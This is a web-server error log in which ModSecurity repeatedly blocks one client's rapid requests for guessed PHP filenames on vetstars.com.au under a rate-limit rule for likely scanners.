[Sun Mar 29 01:28:23.335096 2026] [:error] [pid 39514:tid 39531] [client 158.23.144.198:64281] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acgPtykUyvlQod6qQu2I2wAAAMY"]
[Sun Mar 29 01:28:23.719449 2026] [:error] [pid 39514:tid 39537] [client 158.23.144.198:41068] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acgPtykUyvlQod6qQu2I3AAAAMw"]
[Sun Mar 29 01:28:24.102516 2026] [:error] [pid 39514:tid 39528] [client 158.23.144.198:45040] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "acgPuCkUyvlQod6qQu2I3wAAAMM"]
[Sun Mar 29 01:28:24.483727 2026] [:error] [pid 39514:tid 39543] [client 158.23.144.198:44117] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "acgPuCkUyvlQod6qQu2I4wAAANI"]
[Sun Mar 29 01:28:24.874942 2026] [:error] [pid 39514:tid 39524] [client 158.23.144.198:38322] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "acgPuCkUyvlQod6qQu2I5QAAAMA"]
[Sun Mar 29 01:28:25.260138 2026] [:error] [pid 39514:tid 39547] [client 158.23.144.198:37922] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "acgPuSkUyvlQod6qQu2I6QAAANY"]
[Sun Mar 29 01:28:25.645950 2026] [:error] [pid 39428:tid 39481] [client 158.23.144.198:38323] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/okxh.php"] [unique_id "acgPuaXMrozFMIaP8nL2EgAAAFY"]
[Sun Mar 29 01:28:26.036856 2026] [:error] [pid 39429:tid 39501] [client 158.23.144.198:5006] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/okxh.php"] [unique_id "acgPuk8pSj6sqgZaItnVdwAAAI8"]
[Sun Mar 29 01:28:26.457543 2026] [:error] [pid 39514:tid 39544] [client 158.23.144.198:41046] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/okxh.php"] [unique_id "acgPuikUyvlQod6qQu2I7AAAANM"]
[Sun Mar 29 01:28:26.859444 2026] [:error] [pid 39427:tid 39448] [client 158.23.144.198:5007] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/okxh.php"] [unique_id "acgPulvLf0RDUqcYq-Y70AAAABA"]
[Sun Mar 29 01:28:27.273146 2026] [:error] [pid 39514:tid 39531] [client 158.23.144.198:37947] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/csv.php"] [unique_id "acgPuykUyvlQod6qQu2I7wAAAMY"]
[Sun Mar 29 01:28:27.674310 2026] [:error] [pid 39427:tid 39451] [client 158.23.144.198:45017] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/csv.php"] [unique_id "acgPu1vLf0RDUqcYq-Y70wAAABM"]
[Sun Mar 29 01:28:28.061885 2026] [:error] [pid 39427:tid 39456] [client 158.23.144.198:40555] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/csv.php"] [unique_id "acgPvFvLf0RDUqcYq-Y71AAAABg"]
[Sun Mar 29 01:28:28.462492 2026] [:error] [pid 39427:tid 39445] [client 158.23.144.198:5013] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/csv.php"] [unique_id "acgPvFvLf0RDUqcYq-Y71QAAAA0"]
[Sun Mar 29 01:28:28.850675 2026] [:error] [pid 39428:tid 39460] [client 158.23.144.198:47517] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acgPvKXMrozFMIaP8nL2FwAAAEE"]
[Sun Mar 29 01:28:29.249370 2026] [:error] [pid 39427:tid 39452] [client 158.23.144.198:48776] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acgPvVvLf0RDUqcYq-Y72QAAABQ"]
[Sun Mar 29 01:28:29.642322 2026] [:error] [pid 39428:tid 39476] [client 158.23.144.198:45013] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acgPvaXMrozFMIaP8nL2GAAAAFE"]
[Sun Mar 29 01:28:30.026607 2026] [:error] [pid 39514:tid 39546] [client 158.23.144.198:38321] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws85.php"] [unique_id "acgPvikUyvlQod6qQu2I9QAAANU"]
[Sun Mar 29 01:28:30.414109 2026] [:error] [pid 39514:tid 39534] [client 158.23.144.198:44116] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "acgPvikUyvlQod6qQu2I9gAAAMk"]
[Sun Mar 29 01:28:30.809984 2026] [:error] [pid 39514:tid 39525] [client 158.23.144.198:47503] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "acgPvikUyvlQod6qQu2I-QAAAME"]
[Sun Mar 29 01:28:31.197140 2026] [:error] [pid 39514:tid 39539] [client 158.23.144.198:4993] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "acgPvykUyvlQod6qQu2I_gAAAM4"]
[Sun Mar 29 01:28:31.579572 2026] [:error] [pid 39514:tid 39547] [client 158.23.144.198:61848] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "acgPvykUyvlQod6qQu2JAAAAANY"]
[Sun Mar 29 01:28:31.964266 2026] [:error] [pid 39429:tid 39509] [client 158.23.144.198:63616] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "acgPv08pSj6sqgZaItnVgAAAAJc"]
[Sun Mar 29 01:28:32.348928 2026] [:error] [pid 39427:tid 39442] [client 158.23.144.198:37907] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "acgPwFvLf0RDUqcYq-Y73gAAAAo"]
[Sun Mar 29 01:28:32.739358 2026] [:error] [pid 39427:tid 39449] [client 158.23.144.198:37917] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "acgPwFvLf0RDUqcYq-Y74QAAABE"]
[Sun Mar 29 01:28:33.127312 2026] [:error] [pid 39428:tid 39467] [client 158.23.144.198:41030] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/clss.php"] [unique_id "acgPwaXMrozFMIaP8nL2GwAAAEg"]
[Sun Mar 29 01:28:33.521760 2026] [:error] [pid 39429:tid 39491] [client 158.23.144.198:5009] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acgPwU8pSj6sqgZaItnVgwAAAIU"]
[Sun Mar 29 01:28:33.905164 2026] [:error] [pid 39429:tid 39488] [client 158.23.144.198:38333] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acgPwU8pSj6sqgZaItnVhQAAAII"]
[Sun Mar 29 01:28:34.299633 2026] [:error] [pid 39428:tid 39471] [client 158.23.144.198:5001] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acgPwqXMrozFMIaP8nL2HwAAAEw"]
[Sun Mar 29 01:28:34.683304 2026] [:error] [pid 39429:tid 39489] [client 158.23.144.198:5046] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "acgPwk8pSj6sqgZaItnVhgAAAIM"]
[Sun Mar 29 01:28:35.066201 2026] [:error] [pid 39429:tid 39498] [client 158.23.144.198:64306] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "acgPw08pSj6sqgZaItnVhwAAAIw"]
[Sun Mar 29 01:28:35.446825 2026] [:error] [pid 39427:tid 39455] [client 158.23.144.198:45047] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "acgPw1vLf0RDUqcYq-Y76QAAABc"]
[Sun Mar 29 01:28:35.835278 2026] [:error] [pid 39428:tid 39464] [client 158.23.144.198:45007] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "acgPw6XMrozFMIaP8nL2JQAAAEU"]
[Sun Mar 29 01:28:36.219818 2026] [:error] [pid 39427:tid 39438] [client 158.23.144.198:63622] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "acgPxFvLf0RDUqcYq-Y77QAAAAY"]
[Sun Mar 29 01:28:36.623607 2026] [:error] [pid 39429:tid 39502] [client 158.23.144.198:45051] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "acgPxE8pSj6sqgZaItnViQAAAJA"]
[Sun Mar 29 01:28:37.011931 2026] [:error] [pid 39428:tid 39462] [client 158.23.144.198:48779] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "acgPxaXMrozFMIaP8nL2KAAAAEM"]
[Sun Mar 29 01:28:37.401451 2026] [:error] [pid 39427:tid 39443] [client 158.23.144.198:48818] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "acgPxVvLf0RDUqcYq-Y78QAAAAs"]
[Sun Mar 29 01:28:37.789618 2026] [:error] [pid 39428:tid 39483] [client 158.23.144.198:38301] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "acgPxaXMrozFMIaP8nL2KwAAAFg"]
[Sun Mar 29 01:28:38.180342 2026] [:error] [pid 39427:tid 39440] [client 158.23.144.198:45042] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "acgPxlvLf0RDUqcYq-Y78wAAAAg"]
[Sun Mar 29 01:28:38.560912 2026] [:error] [pid 39428:tid 39463] [client 158.23.144.198:48807] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "acgPxqXMrozFMIaP8nL2LQAAAEQ"]
[Sun Mar 29 01:28:38.957649 2026] [:error] [pid 39514:tid 39524] [client 158.23.144.198:40519] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "acgPxikUyvlQod6qQu2JCQAAAMA"]
[Sun Mar 29 01:28:39.365061 2026] [:error] [pid 39427:tid 39446] [client 158.23.144.198:5052] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "acgPx1vLf0RDUqcYq-Y79gAAAA4"]
[Sun Mar 29 01:28:39.754819 2026] [:error] [pid 39427:tid 39441] [client 158.23.144.198:37900] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "acgPx1vLf0RDUqcYq-Y79wAAAAk"]
[Sun Mar 29 01:28:40.146276 2026] [:error] [pid 39427:tid 39433] [client 158.23.144.198:64268] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "acgPyFvLf0RDUqcYq-Y7-AAAAAE"]
[Sun Mar 29 01:28:40.551498 2026] [:error] [pid 39428:tid 39476] [client 158.23.144.198:48796] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "acgPyKXMrozFMIaP8nL2NAAAAFE"]
[Sun Mar 29 01:28:40.952294 2026] [:error] [pid 39428:tid 39463] [client 158.23.144.198:5042] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "acgPyKXMrozFMIaP8nL2NgAAAEQ"]
[Sun Mar 29 01:28:41.352314 2026] [:error] [pid 39428:tid 39472] [client 158.23.144.198:64295] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acgPyaXMrozFMIaP8nL2OAAAAE0"]
[Sun Mar 29 01:28:41.756231 2026] [:error] [pid 39427:tid 39455] [client 158.23.144.198:41066] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acgPyVvLf0RDUqcYq-Y7-gAAABc"]
[Sun Mar 29 01:28:42.165378 2026] [:error] [pid 39429:tid 39508] [client 158.23.144.198:37932] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acgPyk8pSj6sqgZaItnVjgAAAJY"]
[Sun Mar 29 01:28:42.557953 2026] [:error] [pid 39428:tid 39460] [client 158.23.144.198:61198] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "acgPyqXMrozFMIaP8nL2OwAAAEE"]
[Sun Mar 29 01:28:42.948391 2026] [:error] [pid 39514:tid 39550] [client 158.23.144.198:37906] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "acgPyikUyvlQod6qQu2JDgAAANg"]
[Sun Mar 29 01:28:43.350597 2026] [:error] [pid 39428:tid 39480] [client 158.23.144.198:38298] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "acgPy6XMrozFMIaP8nL2PgAAAFU"]
[Sun Mar 29 01:28:43.739734 2026] [:error] [pid 39514:tid 39549] [client 158.23.144.198:48768] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "acgPyykUyvlQod6qQu2JEAAAANc"]
[Sun Mar 29 01:28:44.125581 2026] [:error] [pid 39514:tid 39545] [client 158.23.144.198:38310] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "acgPzCkUyvlQod6qQu2JEwAAANQ"]
[Sun Mar 29 01:28:44.533969 2026] [:error] [pid 39427:tid 39446] [client 158.23.144.198:41061] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "acgPzFvLf0RDUqcYq-Y7_QAAAA4"]
[Sun Mar 29 01:28:44.928282 2026] [:error] [pid 39514:tid 39530] [client 158.23.144.198:47541] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "acgPzCkUyvlQod6qQu2JGAAAAMU"]
[Sun Mar 29 01:28:45.316624 2026] [:error] [pid 39514:tid 39538] [client 158.23.144.198:41497] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t.php"] [unique_id "acgPzSkUyvlQod6qQu2JGwAAAM0"]
